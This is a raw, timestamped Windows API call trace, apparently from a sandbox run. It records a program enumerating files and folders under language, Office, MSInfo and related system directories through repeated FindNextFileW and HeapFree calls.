	[0161.456] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4064fa8 | out: hHeap=0x710000) returned 1
	[0161.457] FindNextFileW (in: hFindFile=0x76e868, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cfce2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr-HR", cAlternateFileName="")) returned 1
	[0161.457] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4064fa8 | out: hHeap=0x710000) returned 1
	[0161.457] FindNextFileW (in: hFindFile=0x76e868, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06d0656, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-HU", cAlternateFileName="")) returned 1
	[0161.457] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4064fa8 | out: hHeap=0x710000) returned 1
	[0161.457] FindNextFileW (in: hFindFile=0x76e868, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c8ce781, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe382bd1f, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe382bd1f, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0xb620, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrcommonlm.dat", cAlternateFileName="")) returned 1
	[0161.457] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4064fa8 | out: hHeap=0x710000) returned 1
	[0161.457] FindNextFileW (in: hFindFile=0x76e868, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85c57278, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xb269cdea, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb269cdea, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x79bc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrenclm.dat", cAlternateFileName="")) returned 1
	[0161.459] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4064fa8 | out: hHeap=0x710000) returned 1
	[0161.459] FindNextFileW (in: hFindFile=0x76e868, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076a026, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-JP", cAlternateFileName="")) returned 1
	[0161.459] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4064fa8 | out: hHeap=0x710000) returned 1
	[0161.459] FindNextFileW (in: hFindFile=0x76e868, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076a7a6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-KR", cAlternateFileName="")) returned 1
	[0161.459] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4064fa8 | out: hHeap=0x710000) returned 1
	[0161.459] FindNextFileW (in: hFindFile=0x76e868, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076afd8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LanguageModel", cAlternateFileName="LANGUA~1")) returned 1
	[0161.459] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4064fa8 | out: hHeap=0x710000) returned 1
	[0161.459] FindNextFileW (in: hFindFile=0x76e868, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076b52b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lt-LT", cAlternateFileName="")) returned 1
	[0161.460] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4064fa8 | out: hHeap=0x710000) returned 1
	[0161.460] FindNextFileW (in: hFindFile=0x76e868, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076ba6e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lv-LV", cAlternateFileName="")) returned 1
	[0161.460] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4064fa8 | out: hHeap=0x710000) returned 1
	[0161.460] FindNextFileW (in: hFindFile=0x76e868, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a4376e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd1f30e81, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd1f30e81, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x19f200, dwReserved0=0x0, dwReserved1=0x0, cFileName="micaut.dll", cAlternateFileName="")) returned 1
	[0161.460] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4064fa8 | out: hHeap=0x710000) returned 1
	[0161.460] FindNextFileW (in: hFindFile=0x76e868, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076c75d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-NL", cAlternateFileName="")) returned 1
	[0161.460] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4064fa8 | out: hHeap=0x710000) returned 1
	[0161.460] FindNextFileW (in: hFindFile=0x76e868, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080d57c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-PL", cAlternateFileName="")) returned 1
	[0161.460] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4064fa8 | out: hHeap=0x710000) returned 1
	[0161.460] FindNextFileW (in: hFindFile=0x76e868, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080d988, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-BR", cAlternateFileName="")) returned 1
	[0161.461] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4064fa8 | out: hHeap=0x710000) returned 1
	[0161.461] FindNextFileW (in: hFindFile=0x76e868, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080ddb8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1
	[0161.461] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4064fa8 | out: hHeap=0x710000) returned 1
	[0161.461] FindNextFileW (in: hFindFile=0x76e868, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080e0f5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro-RO", cAlternateFileName="")) returned 1
	[0161.461] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4064fa8 | out: hHeap=0x710000) returned 1
	[0161.461] FindNextFileW (in: hFindFile=0x76e868, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e38953f, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e38953f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e38953f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2b600, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtscom.dll", cAlternateFileName="")) returned 1
	[0161.461] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4064fa8 | out: hHeap=0x710000) returned 1
	[0161.461] FindNextFileW (in: hFindFile=0x76e868, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe46546cb, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe46546cb, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0xb3200, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShapeCollector.exe", cAlternateFileName="")) returned 1
	[0161.461] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4064fa8 | out: hHeap=0x710000) returned 1
	[0161.461] FindNextFileW (in: hFindFile=0x76e868, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080ec25, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-SI", cAlternateFileName="")) returned 1
	[0161.462] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4064fa8 | out: hHeap=0x710000) returned 1
	[0161.462] FindNextFileW (in: hFindFile=0x76e868, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c7ae2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr-Latn-RS", cAlternateFileName="SR-LAT~1")) returned 1
	[0161.462] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4064fa8 | out: hHeap=0x710000) returned 1
	[0161.462] FindNextFileW (in: hFindFile=0x76e868, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c820e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-SE", cAlternateFileName="")) returned 1
	[0161.462] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4064fa8 | out: hHeap=0x710000) returned 1
	[0161.462] FindNextFileW (in: hFindFile=0x76e868, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d14d081, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe467a929, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe467a929, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0xa400, dwReserved0=0x0, dwReserved1=0x0, cFileName="TabIpsps.dll", cAlternateFileName="")) returned 1
	[0161.462] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4064fa8 | out: hHeap=0x710000) returned 1
	[0161.462] FindNextFileW (in: hFindFile=0x76e868, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x989f72a7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd1aad768, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd1aad768, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x109400, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipRes.dll", cAlternateFileName="")) returned 1
	[0161.462] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4064fa8 | out: hHeap=0x710000) returned 1
	[0161.462] FindNextFileW (in: hFindFile=0x76e868, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c8ed8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="uk-UA", cAlternateFileName="")) returned 1
	[0161.463] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4064fa8 | out: hHeap=0x710000) returned 1
	[0161.463] FindNextFileW (in: hFindFile=0x76e868, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c93df, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3ecc0a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CN", cAlternateFileName="")) returned 1
	[0161.463] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4064fa8 | out: hHeap=0x710000) returned 1
	[0161.463] FindNextFileW (in: hFindFile=0x76e868, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c97fd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3ecc0a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 1
	[0161.463] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4064fa8 | out: hHeap=0x710000) returned 1
	[0161.463] FindNextFileW (in: hFindFile=0x76e868, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c97fd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3ecc0a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 0
	[0161.463] FindClose (in: hFindFile=0x76e868 | out: hFindFile=0x76e868) returned 1
	[0161.463] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4054fa0 | out: hHeap=0x710000) returned 1
	[0161.465] FindNextFileW (in: hFindFile=0x76e6e8, lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa098a4c6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x71143a45, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSInfo", cAlternateFileName="")) returned 1
	[0161.465] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4064fa8 | out: hHeap=0x710000) returned 1
	[0161.465] FindNextFileW (in: hFindFile=0x76e828, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x463aec8d, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0x63793f1, ftLastAccessTime.dwHighDateTime=0x1d2fa0a, ftLastWriteTime.dwLowDateTime=0x463aec8d, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x5a600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msinfo32.exe", cAlternateFileName="")) returned 1
	[0161.465] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4054fa0 | out: hHeap=0x710000) returned 1
	[0161.465] FindNextFileW (in: hFindFile=0x76e6e8, lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd99442a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd9f60362, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd9f60362, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OFFICE16", cAlternateFileName="")) returned 1
	[0161.467] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4064fa8 | out: hHeap=0x710000) returned 1
	[0161.467] FindNextFileW (in: hFindFile=0x76eca8, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xd9f60362, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xa0a26299, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xda982389, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office Setup Controller", cAlternateFileName="OFFICE~1")) returned 0
	[0161.467] FindClose (in: hFindFile=0x76eca8 | out: hFindFile=0x76eca8) returned 1
	[0161.467] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4054fa0 | out: hHeap=0x710000) returned 1
	[0161.467] FindNextFileW (in: hFindFile=0x76e6e8, lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd99442a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd99442a7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd99442a7, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OfficeSoftwareProtectionPlatform", cAlternateFileName="OFFICE~1")) returned 1
	[0161.467] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4054fa0 | out: hHeap=0x710000) returned 1
	[0161.467] FindNextFileW (in: hFindFile=0x76e6e8, lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4accd6e1, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4accd6e1, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4accd6e1, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Source Engine", cAlternateFileName="SOURCE~1")) returned 1
	[0161.467] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4054fa0 | out: hHeap=0x710000) returned 1
	[0161.468] FindNextFileW (in: hFindFile=0x76e6e8, lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0b5538f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a412e70, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Stationery", cAlternateFileName="STATIO~1")) returned 1
	[0161.469] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4054fa0 | out: hHeap=0x710000) returned 1
	[0161.469] FindNextFileW (in: hFindFile=0x76e6e8, lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0b56882, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TextConv", cAlternateFileName="")) returned 1
	[0161.469] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4064fa8 | out: hHeap=0x710000) returned 1
	[0161.469] FindNextFileW (in: hFindFile=0x76eca8, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b5787e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 0
	[0161.469] FindClose (in: hFindFile=0x76eca8 | out: hFindFile=0x76eca8) returned 1
	[0161.470] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4054fa0 | out: hHeap=0x710000) returned 1
	[0161.470] FindNextFileW (in: hFindFile=0x76e6e8, lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b57d42, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Triedit", cAlternateFileName="")) returned 1
	[0161.470] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4064fa8 | out: hHeap=0x710000) returned 1
	[0161.470] FindNextFileW (in: hFindFile=0x76e8e8, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b58502, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 0
	[0161.470] FindClose (in: hFindFile=0x76e8e8 | out: hFindFile=0x76e8e8) returned 1
	[0161.470] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4054fa0 | out: hHeap=0x710000) returned 1
	[0161.470] FindNextFileW (in: hFindFile=0x76e6e8, lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xbcd0fab8, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xa0b594b8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2ce22546, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VC", cAlternateFileName="")) returned 1
	[0161.471] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4054fa0 | out: hHeap=0x710000) returned 1
